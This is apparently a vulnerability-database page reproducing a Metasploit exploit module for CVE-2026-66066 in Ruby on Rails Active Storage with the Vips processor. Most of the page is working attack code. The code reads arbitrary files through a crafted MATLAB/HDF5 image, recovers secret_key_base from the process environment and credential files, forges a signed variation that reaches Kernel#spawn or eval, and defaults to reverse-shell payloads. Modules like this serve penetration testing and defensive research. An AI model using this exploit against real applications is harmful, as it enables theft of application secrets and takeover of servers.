...[ More ]
🗓️ 25 Aug 2026 00:00:00Reported by castilho, Crypto-Cat, RyotaK, 0xacb, s3np41k1r1t0Type
packetstorm🔗 packetstorm.news👁 8 Views
| Reporter | Title | Published | Views | Family All 87 |
|---|---|---|---|---|
| Exploit for CVE-2026-66066 | 3 Aug 202612:31 | – | githubexploit | |
| Exploit for CVE-2026-66066 | 29 Jul 202621:08 | – | githubexploit | |
| Exploit for CVE-2026-66066 | 29 Jul 202620:45 | – | githubexploit | |
| Exploit for CVE-2026-66066 | 29 Jul 202616:10 | – | githubexploit | |
| Exploit for CVE-2026-66066 | 4 Aug 202602:51 | – | githubexploit | |
| BountySkiller | 30 Jul 202619:32 | – | githubexploit | |
| Exploit for CVE-2026-66066 | 31 Jul 202616:51 | – | githubexploit | |
| CVE-2026-66066: Defending Against the “KindaRails2Shell” Pre-Auth RCE | 30 Jul 202608:00 | – | akamaiblog | |
| CVE-2026-66066 | 30 Jul 202618:32 | – | attackerkb | |
| CVE-2025-24293 | 30 Jan 202620:11 | – | attackerkb |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HTTP::RailsActiveStorageVips
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution',
'Description' => %q{
This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when
the application uses the Vips variant processor and accepts untrusted image
uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text
files accessible to the Rails worker through a PNG representation response.
The module recovers secret_key_base from the process environment, Rails local
secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then
forges a serializer-compatible variation whose ImageProcessing apply step reaches
Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when
the Ruby target is selected. Neither path requires a Marshal object gadget. The
Ruby target's initial code execution does not require a Unix shell or a fetch
utility on the target.
The file-read stage needs a genuine signed Active Storage variation key. It can use
VARIATION_KEY directly, reuse a representation URL from the application, or create
one through an application upload form. Supplying SECRET_KEY_BASE skips the
arbitrary file-read stage and lets the module construct the standard
representation route itself.
The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1,
Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in
Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines an incomplete
Vips-side fix for CVE-2025-24293 with ImageProcessing 1.x method dispatch;
ImageProcessing 2.x blocks this chain.
},
'Author' => [
'0xacb', # Vulnerability discovery and research
's3np41k1r1t0', # Vulnerability discovery and research
'castilho', # Vulnerability discovery and research
'RyotaK', # Independent vulnerability discovery
'Crypto-Cat' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-66066'],
['GHSA', 'xr9x-r78c-5hrm'],
['CVE', '2025-24293'],
['GHSA', 'r4mg-4433-c7g3'],
['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'],
['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'],
['URL', 'https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/'],
['URL', 'https://github.com/rails/rails/pull/56995'],
['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'],
['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066']
],
'DisclosureDate' => '2026-07-29',
'Privileged' => false,
'Targets' => [
[
'Linux/Unix Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
# Auto-selection chooses an FTP adapter, but the framework does not
# support its default FETCH_COMMAND (CURL) for FTP URLs.
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', # rubocop:disable Lint/ModuleDefaultPayload
'FETCH_WRITABLE_DIR' => '/tmp',
'FETCH_DELETE' => true
}
}
],
[
'Ruby',
{
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Type' => :ruby,
'DefaultOptions' => {
# Auto-selection chooses generic/shell_reverse_tcp, which does not
# provide Ruby code for this eval target.
'PAYLOAD' => 'ruby/shell_reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
}
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => "\x00"
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to the Rails application', '/']),
OptString.new('LANDINGURI', [true, 'Path to a page used for CSRF-token and representation discovery', '/']),
OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']),
OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']),
OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']),
OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]),
OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]),
OptString.new('VARIATION_KEY', [false, 'Known signed Active Storage variation key', nil]),
OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips the arbitrary file-read stage', nil]),
OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]),
OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]),
OptEnum.new('KEY_GENERATOR_DIGEST', [true, 'Rails key generator digest', 'auto', %w[auto sha256 sha1 sha384 sha512]]),
OptEnum.new('VERIFIER_DIGEST', [true, 'Active Support message verifier HMAC digest', 'auto', %w[auto sha1 sha256 sha384 sha512]]),
OptEnum.new('MESSAGE_SERIALIZER', [true, 'Compatible Active Support message serialization format', 'auto', %w[auto json marshal]])
]
)
register_advanced_options(
[
OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', 65_536]),
OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each Rails credentials or secrets file', 262_144]),
OptInt.new('MaxReadRequests', [true, 'Maximum crafted file-read requests per check or exploit phase', 4096]),
OptString.new('ExternalStorageOrigins', [false, 'Comma-separated trusted HTTP(S) origins for external storage requests', nil])
]
)
end
def check
reset_read_budget!
validate_options!
if datastore['SECRET_KEY_BASE'].present?
secret_key_base = datastore['SECRET_KEY_BASE']
@known_secret_context = context_from_known_secret(secret_key_base)
verify_known_secret_context(@known_secret_context)
@active_storage_service = report_active_storage_service
return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested')
end
@read_context = detect_read_context
@active_storage_service = report_active_storage_service
vuln = {
service: @active_storage_service,
info: 'Confirmed arbitrary file read through an Active Storage representation'
}.compact
CheckCode::Vulnerable(
"Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout",
vuln: vuln
)
rescue ConfigError, DataError, FlowError, TriggerError, UnreachableError => e
CheckCode::Unknown(e.message)
end
def exploit
reset_read_budget!
validate_options!
context = if datastore['SECRET_KEY_BASE'].present?
secret_key_base = datastore['SECRET_KEY_BASE']
if @known_secret_context&.dig(:secret_key_base) == secret_key_base
@known_secret_context
else
context_from_known_secret(secret_key_base).tap do |known_secret_context|
verify_known_secret_context(known_secret_context)
end
end
else
read_context = @read_context ||= detect_read_context
@active_storage_service = report_active_storage_service
unless @vulnerability_reported
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
service: @active_storage_service,
name: fullname,
info: 'Confirmed arbitrary file read through an Active Storage representation',
refs: references
)
end
context_from_recovered_secret(read_context)
end
@active_storage_service = report_active_storage_service
transformations = variation_transformations
operation = transformations['send'].first
print_status("Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}")
path = forged_representation_path(context, transformations)
trigger_variation(path)
rescue ConfigError, DataError => e
fail_with(Failure::BadConfig, e.message)
rescue UnreachableError => e
fail_with(Failure::Unreachable, e.message)
rescue FlowError, TriggerError => e
fail_with(Failure::UnexpectedReply, e.message)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Aug 2026 00:00Current
CVSS 3.18.1
CVSS 49.5
EPSS0.18952
SSVC